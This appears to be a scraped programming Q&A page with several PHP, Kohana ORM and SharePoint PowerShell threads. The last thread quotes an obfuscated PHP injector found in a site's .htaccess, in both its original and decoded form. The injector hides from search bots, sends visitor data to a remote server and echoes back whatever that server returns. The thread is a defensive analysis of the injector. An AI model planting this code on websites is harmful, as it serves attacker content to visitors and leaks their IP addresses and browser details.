Kohana 3 ORM find_all() returns all rows regardless of where clause - kohana-3

I have one simple users table, and I want to find all users where email_notifications = 1.
Logic dictates that the following should work:
class Controller_Test extends Controller {
public function action_index()
{
$user = ORM::factory('user');
$user = $user->where('email_notifications', '=', 1);
$total = $user->count_all();
$users = $user->find_all();
echo $total." records found.<br/>";
foreach ($users as $v)
{
echo $v->id;
echo $v->first_name;
echo $v->last_name;
echo $v->email;
}
}
}
However, what's happening is that I am getting ALL of my users back from the DB, not just the ones with email_notifications turned on. The funny thing is, the $total value returned is the accurate number result of this query.
I am so stumped, I have no idea what the problem is here. If anyone could shed some light, I'd really appreciate it.
Thanks,
Brian

Calling count_all() will reset your model conditions. Try to use reset(FALSE) to avoid this:
$user = ORM::factory('user');
$user = $user->where('email_notifications', '=', 1);
$user->reset(FALSE);
$total = $user->count_all();
$users = $user->find_all();

Related

kohana 3.3 get next value in array

i have an array that am calling from the database using kohana 3.3 i have gotten the data to the view and i can get it with print_r($variable). i want to create a movenext, movefirst,moveprevious and movelast buttons based on the data that is in the array.
my model looks like this
public function get_customer_list(){
$cust_list= DB::select('*')->from('customers')
->order_by('id','ASC')
->execute()
->as_array();
//print_r($cust_list);
return $cust_list;
my controller looks like this
$id=#$_POST["id"];
//echo $id;
$amend = Model::factory('amendments')->get_customer_list(#$d);
$this->page_title = 'amending';
$this->content = View::factory('forms/amendment_next');
//$this->rightwidget =view::factory('rightwidget');
$this->amend = $amend;
$this->next = $id;
my view looks like this
foreach ($amend[0] as $key=>$value){
echo '<p><span>'.$key.'</span><input id="'.$next.'" class="contact" type="text" name="'.$key.'"value="'.$value.'" /></p>';
}
Next Record
Previous Record<button >Next Record</button><button>Last Record</button>
i dont mind using a link or a button
please assist am stack here and my brain is locked.
Try this in your view, just a some javascript code is needed (i have used jQuery)
---next() Example---
$(document).ready(function (){
var customers = <?php echo json_encode($amend) ?>;
var count = 0;
function nextItem(){
if(count >= customers.length )return;
console.log("customer:",customers[count]['id'],customers[count]['name']);
count =++count;
}
})
Your controller should look like this:
$id=#$_POST["id"];
//echo $id;
$amend = Model::factory('amendments')->get_customer_list(#$d);
$this->page_title = 'amending';
$inputArray = array('amend'=>$amend, 'id'=>$id);
$this->content = View::factory('forms/amendment_next',$inputArray);
//$this->rightwidget =view::factory('rightwidget');
You either have to pass the variables you want to use in your view directly to the factory as an associative array or you have to make them globally availible to the factory.
Your view should look like this:
<?
foreach ($amend[0] as $key=>$value){
echo '<p><span>'.$key.'</span><input id="'.$next.'" class="contact" type="text" name="'.$key.'"value="'.$value.'" /></p>';
}
?>
Next Record
Previous Record<button >Next Record</button><button>Last Record</button>
after passing the $inputArray to the factory the vairable $amend will be filled with $inputArray['amend'] and $id will be filled with $inputArray['id']
I used your example to project myself over the problem. and now it stands solved here is the
The Controller looks like this now
$id=#$_GET["id"];
$amend = Model::factory('amendments')->get_customer_list(#$d);
$this->page_title = 'I&M CRB Online App amending';
$this->content = View::factory('forms/amendments');
//$this->rightwidget =view::factory('rightwidget');
$this->amend = $amend;
$this->next = $id;
the view looks something like this
<?php
if (!$next){
$next = "0";}
$nextid = $next+"1";
$previd=$next-"1";
?>
First Record |
Previous Record |
move next |
Last Record
<?php
foreach (#$amend[#$next] as $key=>$value){
echo "<p><span>".$key."</span><input class='contact' type='text' name='".$key."'value='".$value."' /></p>";
}
?>
and for the last record i had to use a different model function
public function get_last_customer(){
$last_customer= DB::select()->from('customers')
->order_by('id','DESC')
->limit(1)
->execute()
->as_array();
return $last_customer;
Thank you all for the support and the answers you provided me with.

Webforms in excel instead of e-mail

A client of mine asked me if i can find a solution for this problem.
His website (still a WIP) http://welkommagazine.nl/luuk/ has a form. The form obviously uses a sendmail script to send the form to e-mail. From thereon he manually copy/pastes all the submissions to excel.
What he wants is that the forms online automaticcaly are added to an excel document to save him a lot of work.
Now i am not a programmer, but a designer.. I think this can be done, but i have absolutely no clue how. I googled alot for it and the only thing i found was a dreamweaverplugin.
Is there a way to do this, if so, how?
Not a programmer's response, but...
I think an easy solution is to use Google docs. You can set-up a Google Spreadsheet and associate a form to it. Whenever a user fills the form , his data is added to the spreadsheet.
Your client may download that anytime.
There are some other providers on the market, some free, some not. E.g: wufoo.com
Found the answer myself. I wrote a PHP code snippet which actually stores the fields comma seperated in a CSV file and sends an email to a desired adress with the filled in fields.
if(isset($_POST['Submit'])){
$pakket = $_POST['pakket'];
$extragidsen = $_POST['extragidsen'];
$naambedrijf = $_POST['naambedrijf'];
$err = '';
if(trim($pakket)==''){
$err .= '-Please enter a name';
}
if(empty($extragidsen)){
$err .= '-Please enter an email address';
}
if(strlen($naambedrijf)==0){
$err .= '-Please enter a comment';
}
if($err!=''){
echo $err;
}
else{
$filename = 'file.csv';
$somecontent = $pakket . ',' . $extragidsen . ',' . $naambedrijf . "\n";
// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {
// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
//--------------------------Set these paramaters--------------------------
// Subject of email sent to you.
$subject = 'Inschrijving welkom';
// Your email address. This is where the form information will be sent.
$emailadd = 'luuk#luukratief.com';
// Where to redirect after form is processed.
$url = 'http://www.google.com';
// Makes all fields required. If set to '1' no field can not be empty. If set to '0' any or all fields can be empty.
$req = '0';
// --------------------------Do not edit below this line--------------------------
$text = "Results from form:\n\n";
$space = ' ';
$line = '
';
foreach ($_POST as $key => $value)
{
if ($req == '1')
{
if ($value == '')
{echo "$key is empty";die;}
}
$j = strlen($key);
if ($j >= 20)
{echo "Name of form element $key cannot be longer than 20 characters";die;}
$j = 20 - $j;
for ($i = 1; $i ';
fclose($handle);
} else {
echo "The file $filename is not writable";
}
}
}
Maybe the code aint that clean as it can be, but eh it works.
Feel free to clean up the code if you want to :)
I guessed I would answer this myself for the community...
BTW u need to set "write" rights to "file.csv"
cheers

Update SharePoint quicklaunch link URL through PowerShell

The setup is MOSS2007. I iterate the links in the QuickLaunch, and update the URL:
$siteUrl = "http://myserver/"
$spSite = new-object Microsoft.SharePoint.SPSite($siteurl)
for($i=0; $i -lt $spSite.AllWebs.Count;$i++)
{
$spWeb = $spSite.AllWebs[$i]
$nodes = $spWeb.Navigation.QuickLaunch
for($j=0; $j -lt $nodes.Count;$j++)
{
$children = $nodes[$j].Children
for($k=0; $k -lt $children.Count;$k++)
{
$x = $children[$k]
$x.Url = "http://mylink/"
$x.Update()
}
}
$spSite.Dispose();
}
But the Doclib URLs don't update. If I go to Site settings -> Navigation -> and edit the URL through the UI, then run my script again, the URL updates. Why can't I manipulate the URL through code?
I'm not sure if this is the answer, but it looks to me like your Dispose is in the wrong place. It should be outside the outer foreach, i.e. at the same nesting level as your $spSite assignment. This repeated dispose may be causing sync problems.

multi insert in kohana orm3

In my application i have a loop that executes about 1000 times, inside it i'm creating object and saving it. This is the part of application where i populate my database with data. In common this looks like this:
foreach(...){
...
try{
$object = new Model_Whatever;
$object->whatever=$whatever;
$object->save();}
catch(Exception $e){
...}
}
}
This produces 1000 of INSERT queries. Is it possible to, in some way, made kohana produce multi inserts. Split this into 10 inserts with 100 data sets in each. Is it possible and if yes that what is the way doing so?
Whilst the Kohana ORM doesn't support multi inserts, you can still use the query builder as follows:
$query = DB::insert('tablename', array('column1', 'column2','column3'));
foreach ($data as $d) {
$query->values($d);
}
try {
$result = $query->execute();
} catch ( Database_Exception $e ) {
echo $e->getMessage();
}
you'll still need to split the data up so the above doesn't try to execute a query with 1000 inserts.
$data assumes an array of arrays with the values corresponding to the order of the columns
thanks Isaiah in #kohana
php work very slow when insert multi array very big (so that method ::values have array_merge) so more fast:
class Database_Query_Builder_Bath_Insert
extends Database_Query_Builder_Insert{
public static function doExecute($table, $data) {
$insertQuery = DB::insert($table, array_keys(current($data)));
$insertQuery->_values = $data;
$insertQuery->execute();
}
}
call_user_func_array([$query, 'values'], $data);

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...

Resources